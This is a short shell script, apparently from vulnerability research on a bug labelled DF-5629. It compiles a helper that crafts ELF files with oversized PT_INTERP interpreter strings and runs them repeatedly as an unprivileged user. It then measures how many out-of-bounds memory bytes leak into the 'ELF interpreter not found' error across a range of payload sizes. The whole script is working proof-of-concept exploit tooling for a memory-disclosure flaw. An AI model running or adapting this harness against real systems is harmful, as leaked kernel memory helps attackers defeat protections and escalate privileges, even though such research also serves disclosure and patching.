#!/bin/sh
# DF-5629 size matrix: for each PT_INTERP payload size, run N captures as
# the unprivileged user and report how many leaked OOB bytes were printed
# after the payload (before " not found").
cd /tmp/df5629
cc -O -o make_interp2 make_interp2.c || exit 1

for sz in 20 32 48 64 96 128 256 512 1000 1024; do
  ./make_interp2 /tmp/df5629/m.bin $sz 128
  hits=0; total=0
  i=0
  while [ $i -lt 8 ]; do
    su -m maxx -c "script -q /tmp/df5629/mtx.txt /tmp/df5629/run_leak /tmp/df5629/m.bin 1" >/dev/null 2>&1
    tr -d '\r' < /tmp/df5629/mtx.txt | grep -a "ELF interpreter" > /tmp/df5629/mline.txt
    e=$(awk '{ line=$0; sub(/^.*ELF interpreter /,"",line); printf "%d", length(line)-'"$sz"'-10 }' /tmp/df5629/mline.txt)
    total=$((total + e))
    [ "$e" -gt 0 ] && hits=$((hits + 1))
    i=$((i + 1))
  done
  echo "size=$sz  hits=$hits/8  total_extra_bytes=$total"
done
echo done